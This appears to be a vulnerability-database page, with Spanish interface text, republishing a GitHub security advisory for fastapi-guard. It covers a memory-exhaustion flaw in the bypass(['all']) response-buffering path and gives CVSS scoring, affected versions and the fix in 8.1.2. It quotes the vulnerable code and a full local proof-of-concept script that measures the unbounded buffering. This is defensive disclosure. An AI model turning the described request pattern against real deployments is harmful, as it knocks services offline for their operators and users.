llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · fastapi-guard

GHSA-XWR6-8F76-24G4

Unauthenticated remote memory exhaustion on public routes via Pure-ASGI `bypass(["all"])` response buffering

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición34 dDesde la divulgación, 17 oct 2026, 2:10 p. m.
Detección33 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 8.1.2
Monitoreo
Detectada +1
17 oct 26
20 nov 26
21 nov 26
17 oct 26
26 oct 26
3 nov 26
12 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XWR6-8F76-24G4 divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Remediación Parche 8.1.2 fastapi-guard · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`PureASGISecurityMiddleware` promises unbuffered ASGI responses, but its documented
`bypass(["all"])` path buffers the entire downstream response before sending any
response message. A single unauthenticated request to a public route using that
decorator can therefore consume memory proportional to the response and prevent
streaming. A finite 8 MiB response reproduced approximately 201 MiB RSS in a clean
ARM64 process.

Details

The vulnerable code is in `guard/asgi.py:238-268`:

async def call_next(request: Request) -> Response:
    captured: dict[str, Any] = {"status": 500, "headers": [], "body": b""}

    async def capturing_send(message: Message) -> None:
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]
            captured["headers"] = list(message["headers"])
        elif message["type"] == "http.response.body":
            captured["body"] += message.get("body", b"")

    await self._call_downstream(
        scope, caching_receive.replay(), capturing_send, time.time()
    )
    return Response(
        status_code=captured["status"],
        headers=dict(
            (key.decode("latin-1"), value.decode("latin-1"))
            for key, value in captured["headers"]
        ),
        content=captured["body"],
    )

`PureASGISecurityMiddleware._screen()` passes this materializing callback to
`SecurityMiddleware._handle_security_bypass()` (`guard/asgi.py:197-205`). When the
registered route configuration contains the documented `all` bypass token,
guard-core calls the callback. Every downstream `http.response.body` chunk is then
appended to an unbounded `bytes` object. Because `capturing_send` does not forward
messages, the outer ASGI server receives neither `http.response.start` nor a body
chunk until the downstream application finishes.

The regular Pure-ASGI path (`guard/asgi.py:217-220`) forwards the downstream send
wrapper directly. The affected path is therefore specific to the supported
`bypass(["all"])` branch in active mode (`passive_mode=False`, the default). The
route's `SecurityDecorator` must be registered with the application, as required by
the documented integration.

This is an adapter-side issue in `fastapi-guard`, not the separate request-body
buffering issue previously fixed in `guard-core` GHSA-c2r5-9jw9-m8q5. No existing
fastapi-guard advisory, CVE, or issue matches this downstream response-capture path.

Proof of concept

The following standalone script uses only the public APIs. It does not require
Redis, HTTPX, an external service, or attacker-controlled response content.

Install the affected release in a clean Python 3.10+ environment, save the script as
`poc.py`, and run it:

python -m venv .venv
.venv/bin/pip install fastapi-guard==8.1.1
.venv/bin/python poc.py
# macOS RSS measurement (optional)
/usr/bin/time -l .venv/bin/python poc.py
import asyncio
import tracemalloc

from fastapi import FastAPI
from fastapi.responses import StreamingResponse

from guard import PureASGISecurityMiddleware, SecurityConfig, SecurityDecorator


async def main() -> None:
    chunk = b"x" * (256 * 1024)
    count = 32
    yielded = asyncio.Event()
    release = asyncio.Event()
    finished = asyncio.Event()
    config = SecurityConfig(
        enable_redis=False,
        enable_penetration_detection=False,
        enable_rate_limiting=False,
        enable_ip_banning=False,
    )
    app = FastAPI()
    app.add_middleware(PureASGISecurityMiddleware, config=config)
    decorator = SecurityDecorator(config)
    app.state.guard_decorator = decorator

    @decorator.bypass(["all"])
    @app.get("/stream")
    async def stream() -> StreamingResponse:
        async def body():
            try:
                yielded.set()
                yield chunk
                await release.wait()
                for _ in range(count - 1):
                    yield chunk
                    await asyncio.sleep(0)
            finally:
                finished.set()

        return StreamingResponse(body(), media_type="application/octet-stream")

    sent = []
    first = True

    async def receive():
        nonlocal first
        if first:
            first = False
            return {"type": "http.request", "body": b"", "more_body": False}
        await finished.wait()
        return {"type": "http.disconnect"}

    async def send(message):
        sent.append(message)

    scope = {
        "type": "http",
        "asgi": {"version": "3.0", "spec_version": "2.3"},
        "http_version": "1.1",
        "method": "GET",
        "scheme": "http",
        "path": "/stream",
        "raw_path": b"/stream",
        "query_string": b"",
        "headers": [(b"host", b"testserver")],
        "client": ("198.51.100.10", 50000),
        "server": ("testserver", 80),
        "root_path": "",
        "app": app,
    }
    tracemalloc.start()
    task = asyncio.create_task(app(scope, receive, send))
    await yielded.wait()
    await asyncio.sleep(0)
    before_release = len(sent)
    assert not sent, "streaming data was forwarded before completion"
    release.set()
    await task
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    bodies = [
        message.get("body", b"")
        for message in sent
        if message["type"] == "http.response.body"
    ]
    assert len(bodies) == 1
    assert len(bodies[0]) == len(chunk) * count
    print(
        f"before_release={before_release} buffered={len(bodies[0])} peak_traced={peak}"
    )


asyncio.run(main())

Representative output:

before_release=0 buffered=8388608 peak_traced=17064315

`before_release=0` proves that no ASGI response message is forwarded after the
downstream generator yields its first chunk. `buffered=8388608` proves that the
complete 8 MiB response is emitted only after the generator finishes, as one body
message. The POC invokes the ASGI application directly with an ordinary unauthenticated
`GET /stream` scope, so no server, client library, or external service is required.

Expected behavior: the response start and first body chunk are forwarded as soon as
the downstream application sends them. Actual behavior: zero response messages are
forwarded until the downstream application finishes, and the complete body is sent
as one message. On macOS ARM64 with Python 3.10.19, FastAPI 0.141.1, Starlette 1.6.0,
`guard-core` 4.4.0, and `fastapi-guard` 8.1.1, `/usr/bin/time -l` measured
`ru_maxrss=201,424,896` bytes for this run. The same response on the normal
streaming path sent its first chunk before completion and measured approximately
64 MiB RSS in a clean process.

Impact

This is a remote availability vulnerability (CWE-400). Any deployment using
`PureASGISecurityMiddleware` with a public route registered with `bypass(["all"])`
in active mode is affected when that route returns a large or long-lived body.

An attacker needs no account, administrator role, request body, application code, or
special timing. One ordinary GET retains the complete response in the middleware;
repeated concatenation adds copy amplification, and concurrent requests multiply
resource use. An unbounded stream keeps the worker occupied while the buffer grows
without delivering a response; with finite worker memory, this can terminate the
worker. Confidentiality and integrity are not impacted.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
fastapi-guard≥ 8.1.0 ≤ 8.1.1
8.1.0
8.1.1
8.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypifastapi-guard
Corregida 8.1.2 0 d 8.1.2 no afectada
Versiones corregidas8.1.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-xwr6-8f76-24g4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.